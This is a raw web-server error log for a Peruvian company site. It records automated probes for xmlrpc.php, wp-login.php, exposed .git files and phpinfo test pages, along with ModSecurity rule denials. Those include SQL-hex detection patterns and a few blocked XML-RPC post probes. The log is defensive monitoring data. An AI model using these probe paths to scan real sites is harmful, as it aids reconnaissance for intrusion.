/home/coldtecp/public_html/wp-login.php [Sun Aug 03 11:56:25.926965 2025] [:error] [pid 9964:tid 9990] [client 69.63.189.1:42410] [client 69.63.189.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aI-UuU3d4YoRcBkJWYjFMgAAANg"] [Sun Aug 03 17:17:24.856000 2025] [:error] [pid 9851:tid 9915] [client 34.75.96.253:47750] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 03 18:18:32.325534 2025] [:error] [pid 9850:tid 9893] [client 156.59.26.147:48830] File does not exist: /home/coldtecp/public_html/wp-login.php [Mon Aug 04 00:31:02.379974 2025] [:error] [pid 10656:tid 10719] [client 51.89.117.6:60040] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 04 05:43:38.052019 2025] [:error] [pid 16248:tid 16283] [client 69.171.231.3:45830] [client 69.171.231.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJCO2gfb5TNrfePq8QJCZAAAAEU"] [Mon Aug 04 05:45:23.413829 2025] [:error] [pid 16248:tid 16291] [client 132.226.146.177:45916] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 04 08:07:32.521761 2025] [:error] [pid 16249:tid 16296] [client 185.205.184.188:52376] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 04 10:26:19.819378 2025] [:error] [pid 16786:tid 16812] [client 173.252.83.5:57300] [client 173.252.83.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJDRGzTw12nn20DJiq1UEgAAANg"] [Mon Aug 04 11:46:33.578311 2025] [:error] [pid 16786:tid 16790] [client 138.199.22.136:33206] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 04 13:32:20.431585 2025] [:error] [pid 16249:tid 16306] [client 103.92.152.14:36792] [client 103.92.152.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xe1953f23de found within XML: metaWeblog.newPost15254752547title0xe1953f23description0xe1953f23mt_keywords0xe1953f23mt_excerpt0xe1953f231"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJD8tF0XrUGYyx23bSRaZgAAAIg"] [Mon Aug 04 16:37:43.012212 2025] [:error] [pid 16786:tid 16806] [client 143.198.201.208:43918] File does not exist: /home/coldtecp/public_html/wp-login.php [Mon Aug 04 17:02:19.354738 2025] [:error] [pid 16249:tid 16323] [client 34.23.31.95:45374] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/08/04 17:20:33 [error] 16111#16111: *98897 access forbidden by rule, client: 185.177.72.144, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" [Mon Aug 04 18:47:36.331701 2025] [:error] [pid 16249:tid 16322] [client 132.226.146.177:48144] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Aug 05 04:10:52.283767 2025] [:error] [pid 15313:tid 15360] [client 69.171.249.3:45774] [client 69.171.249.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJHKnO2zLH-_pKfhl-rXCgAAABc"] [Tue Aug 05 07:49:39.789744 2025] [:error] [pid 15862:tid 15876] [client 132.226.146.177:50606] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Aug 05 08:46:11.842186 2025] [:error] [pid 15862:tid 15876] [client 69.171.231.8:52652] [client 69.171.231.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJILIzlW0Vgqpw9JaPuvewAAAMw"] [Tue Aug 05 11:34:43.795283 2025] [:error] [pid 15315:tid 15393] [client 54.169.75.227:57090] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Aug 05 16:35:51.604189 2025] [:error] [pid 15313:tid 15351] [client 34.48.167.142:38112] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Aug 05 20:16:18.261525 2025] [:error] [pid 15315:tid 15386] [client 174.138.23.244:42524] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 06 02:34:54.711216 2025] [:error] [pid 15314:tid 15327] [client 173.252.83.2:52666] [client 173.252.83.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJMFnp0G6Kg-mdL0zZVQWgAAAEk"] [Wed Aug 06 06:06:49.361406 2025] [:error] [pid 18587:tid 18662] [client 132.226.146.177:57394] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 06 08:27:17.725766 2025] [:error] [pid 18701:tid 18709] [client 159.89.171.89:59818] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 06 10:29:00.598478 2025] [:error] [pid 18701:tid 18722] [client 69.171.231.2:33590] [client 69.171.231.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJN0vAH3lVI37kY2rFD8XQAAANE"] [Wed Aug 06 17:28:18.881419 2025] [:error] [pid 18701:tid 18717] [client 34.133.218.59:46732] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Aug 07 00:49:27.654048 2025] [:error] [pid 18585:tid 18590] [client 173.252.87.112:57894] [client 173.252.87.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJQ-Zz-t1JdRFFWdBd0XnwAAAAE"] [Thu Aug 07 16:53:18.867013 2025] [:error] [pid 32534:tid 32571] [client 132.226.146.177:48934] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/08/07 17:07:44 [error] 32495#32495: *165853 access forbidden by rule, client: 185.177.72.38, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Thu Aug 07 20:26:57.460617 2025] [:error] [pid 32532:tid 32556] [client 146.70.205.182:51962] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Aug 07 23:31:42.556194 2025] [:error] [pid 634:tid 651] [client 69.171.249.114:55884] [client 69.171.249.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJV9rsJa7ujyx2GBdB0t1wAAAM8"] 2025/08/08 00:02:38 [error] 32496#32496: *171610 access forbidden by rule, client: 185.177.72.13, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Aug 08 03:07:57.122851 2025] [:error] [pid 20811:tid 20869] [client 69.171.231.7:35978] [client 69.171.231.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJWwXXGFuxMDDj3XCy340AAAAFI"] [Fri Aug 08 03:07:58.081490 2025] [:error] [pid 20811:tid 20870] [client 69.171.231.5:35980] [client 69.171.231.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJWwXnGFuxMDDj3XCy340QAAAFM"] [Fri Aug 08 07:26:22.292500 2025] [:error] [pid 11323:tid 11334] [client 206.189.33.86:39256] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 08 09:24:41.342618 2025] [:error] [pid 11861:tid 11882] [client 104.28.211.190:41306] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 08 09:45:40.018289 2025] [:error] [pid 11861:tid 11880] [client 65.190.238.180:41660] [client 65.190.238.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJYNlOzyd9rRmfAYSnhquwAAANE"] [Fri Aug 08 17:17:28.958481 2025] [:error] [pid 11322:tid 11387] [client 34.48.183.219:48958] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 08 17:38:03.547930 2025] [:error] [pid 11861:tid 11881] [client 44.212.54.81:50152] File does not exist: /home/coldtecp/public_html/wp-login.php [Fri Aug 08 21:43:40.596084 2025] [:error] [pid 11861:tid 11881] [client 173.252.87.3:55338] [client 173.252.87.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJa13Ozyd9rRmfAYSnhyHAAAANI"] [Sat Aug 09 01:42:39.623764 2025] [:error] [pid 11861:tid 11886] [client 69.171.249.6:37830] [client 69.171.249.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJbt3-zyd9rRmfAYSnh5KQAAANc"] 2025/08/09 11:55:30 [error] 3646#3646: *206456 access forbidden by rule, client: 35.86.230.151, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sat Aug 09 12:17:45.564469 2025] [:error] [pid 3780:tid 3827] [client 132.226.146.177:36900] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 09 19:55:56.067271 2025] [:error] [pid 4324:tid 4327] [client 165.22.51.68:56186] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 09 20:09:00.578293 2025] [:error] [pid 3779:tid 3790] [client 69.171.249.10:56326] [client 69.171.249.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJfxLCrbsNHKJdaYppRLMgAAAAc"] [Sun Aug 10 00:27:03.963588 2025] [:error] [pid 4324:tid 4345] [client 69.171.230.13:60542] [client 69.171.230.13] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJgtp2zU1lRU7ZN_iew-wgAAANM"] [Sun Aug 10 14:26:57.097999 2025] [:error] [pid 7404:tid 7422] [client 132.226.146.177:52934] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 10 17:55:32.407184 2025] [:error] [pid 7404:tid 7431] [client 34.145.77.81:33052] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 10 18:24:29.703941 2025] [:error] [pid 7404:tid 7421] [client 173.252.87.112:33388] [client 173.252.87.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJkqLb92iXBAzwPtqPVRIwAAAMk"] [Mon Aug 11 03:45:02.929021 2025] [:error] [pid 13583:tid 13588] [client 77.139.149.88:47542] [client 77.139.149.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJmtjqqqBimORexV3QnSJgAAAII"] [Mon Aug 11 05:51:35.434785 2025] [:error] [pid 13581:tid 13633] [client 109.237.96.77:51030] File does not exist: /home/coldtecp/public_html/phpinfo1.php [Mon Aug 11 05:51:36.372775 2025] [:error] [pid 13581:tid 13637] [client 109.237.96.77:51032] File does not exist: /home/coldtecp/public_html/test1.php [Mon Aug 11 05:51:37.352470 2025] [:error] [pid 13581:tid 13626] [client 109.237.96.77:51034] File does not exist: /home/coldtecp/public_html/_test.php [Mon Aug 11 05:51:37.458246 2025] [:error] [pid 13581:tid 13619] [client 109.237.96.77:51036] File does not exist: /home/coldtecp/public_html/_info.php [Mon Aug 11 05:51:40.325745 2025] [:error] [pid 13581:tid 13627] [client 109.237.96.77:51042] File does not exist: /home/coldtecp/public_html/phpinfo2.php [Mon Aug 11 05:51:53.656577 2025] [:error] [pid 13583:tid 13609] [client 109.237.96.77:51050] File does not exist: /home/coldtecp/public_html/_phpinfo.php [Mon Aug 11 05:51:54.523908 2025] [:error] [pid 13583:tid 13592] [client 109.237.96.77:51052] File does not exist: /home/coldtecp/public_html/_i.php [Mon Aug 11 05:51:55.470458 2025] [:error] [pid 13583:tid 13598] [client 109.237.96.77:51054] File does not exist: /home/coldtecp/public_html/pi.php [Mon Aug 11 05:51:56.641927 2025] [:error] [pid 13583:tid 13588] [client 109.237.96.77:51056] File does not exist: /home/coldtecp/public_html/_pi.php [Mon Aug 11 05:51:58.546600 2025] [:error] [pid 13583:tid 13586] [client 109.237.96.77:51058] File does not exist: /home/coldtecp/public_html/i.php [Mon Aug 11 05:51:59.542876 2025] [:error] [pid 13583:tid 13604] [client 109.237.96.77:51064] File does not exist: /home/coldtecp/public_html/test2.php [Mon Aug 11 05:51:59.667652 2025] [:error] [pid 13583:tid 13599] [client 109.237.96.77:51066] File does not exist: /home/coldtecp/public_html/phpinfo.php [Mon Aug 11 05:51:59.784578 2025] [:error] [pid 13583:tid 13595] [client 109.237.96.77:51068] File does not exist: /home/coldtecp/public_html/php_info.php [Mon Aug 11 05:51:59.884519 2025] [:error] [pid 13583:tid 13591] [client 109.237.96.77:51070] File does not exist: /home/coldtecp/public_html/test.php [Mon Aug 11 05:52:00.624401 2025] [:error] [pid 14137:tid 14161] [client 109.237.96.77:51074] File does not exist: /home/coldtecp/public_html/info.php [Mon Aug 11 05:52:03.659060 2025] [:error] [pid 13581:tid 13630] [client 109.237.96.77:51084] File does not exist: /home/coldtecp/public_html/profiler.php [Mon Aug 11 05:52:04.583460 2025] [:error] [pid 13581:tid 13623] [client 109.237.96.77:51090] File does not exist: /home/coldtecp/public_html/api.php [Mon Aug 11 05:52:33.231385 2025] [:error] [pid 13583:tid 13600] [client 109.237.96.77:51102] File does not exist: /home/coldtecp/public_html/example.php [Mon Aug 11 11:51:26.345619 2025] [:error] [pid 13581:tid 13629] [client 132.226.146.177:58062] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 11 16:50:24.824293 2025] [:error] [pid 13583:tid 13589] [client 69.171.230.26:40858] [client 69.171.230.26] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJploKqqBimORexV3QnWcwAAAIM"] [Mon Aug 11 19:26:23.590846 2025] [:error] [pid 14137:tid 14143] [client 34.169.17.162:47962] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 11 19:26:51.224603 2025] [:error] [pid 13581:tid 13620] [client 34.187.251.75:48010] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 11 19:28:41.102302 2025] [:error] [pid 14137:tid 14163] [client 68.183.179.155:48086] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 11 19:44:15.866118 2025] [:error] [pid 13582:tid 13653] [client 69.171.230.19:48382] [client 69.171.230.19] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJqOXy9vr1y8EnTp5DZmqQAAAE0"] [Mon Aug 11 19:44:16.487411 2025] [:error] [pid 13583:tid 13603] [client 69.171.230.4:48384] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJqOYKqqBimORexV3QnXiwAAAJE"] [Mon Aug 11 19:44:17.363897 2025] [:error] [pid 13582:tid 13659] [client 69.171.230.19:48388] [client 69.171.230.19] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJqOYS9vr1y8EnTp5DZmqgAAAFM"] [Mon Aug 11 19:44:19.118480 2025] [:error] [pid 13582:tid 13662] [client 69.171.230.115:48390] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJqOYy9vr1y8EnTp5DZmqwAAAFY"] [Mon Aug 11 19:44:19.935741 2025] [:error] [pid 14137:tid 14157] [client 69.171.230.114:48392] [client 69.171.230.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJqOY-xE_pRw2G8XIQPmPQAAANI"] [Tue Aug 12 07:47:41.567790 2025] [:error] [pid 31096:tid 31167] [client 109.237.96.77:40722] File does not exist: /home/coldtecp/public_html/phpinfo1.php [Tue Aug 12 07:47:41.659094 2025] [:error] [pid 31097:tid 31102] [client 109.237.96.77:40724] File does not exist: /home/coldtecp/public_html/test1.php [Tue Aug 12 07:47:42.543676 2025] [:error] [pid 31547:tid 31561] [client 109.237.96.77:40730] File does not exist: /home/coldtecp/public_html/_test.php [Tue Aug 12 07:47:42.642959 2025] [:error] [pid 31098:tid 31161] [client 109.237.96.77:40732] File does not exist: /home/coldtecp/public_html/_info.php [Tue Aug 12 07:47:45.573479 2025] [:error] [pid 31098:tid 31170] [client 109.237.96.77:40738] File does not exist: /home/coldtecp/public_html/phpinfo2.php [Tue Aug 12 07:47:48.610263 2025] [:error] [pid 31096:tid 31153] [client 109.237.96.77:40746] File does not exist: /home/coldtecp/public_html/_phpinfo.php [Tue Aug 12 07:47:48.706504 2025] [:error] [pid 31098:tid 31177] [client 109.237.96.77:40748] File does not exist: /home/coldtecp/public_html/_i.php [Tue Aug 12 07:47:48.792333 2025] [:error] [pid 31547:tid 31566] [client 109.237.96.77:40750] File does not exist: /home/coldtecp/public_html/pi.php [Tue Aug 12 07:47:50.607378 2025] [:error] [pid 31547:tid 31567] [client 109.237.96.77:40752] File does not exist: /home/coldtecp/public_html/_pi.php [Tue Aug 12 07:47:50.692912 2025] [:error] [pid 31097:tid 31114] [client 109.237.96.77:40754] File does not exist: /home/coldtecp/public_html/i.php [Tue Aug 12 07:48:01.724342 2025] [:error] [pid 31096:tid 31145] [client 109.237.96.77:40758] File does not exist: /home/coldtecp/public_html/test2.php [Tue Aug 12 07:48:01.825273 2025] [:error] [pid 31096:tid 31141] [client 109.237.96.77:40760] File does not exist: /home/coldtecp/public_html/phpinfo.php [Tue Aug 12 07:48:02.724361 2025] [:error] [pid 31096:tid 31137] [client 109.237.96.77:40762] File does not exist: /home/coldtecp/public_html/php_info.php [Tue Aug 12 07:48:03.731997 2025] [:error] [pid 31547:tid 31551] [client 109.237.96.77:40764] File does not exist: /home/coldtecp/public_html/test.php [Tue Aug 12 07:48:04.747579 2025] [:error] [pid 31547:tid 31570] [client 109.237.96.77:40768] File does not exist: /home/coldtecp/public_html/info.php [Tue Aug 12 07:48:07.767930 2025] [:error] [pid 31096:tid 31133] [client 109.237.96.77:40780] File does not exist: 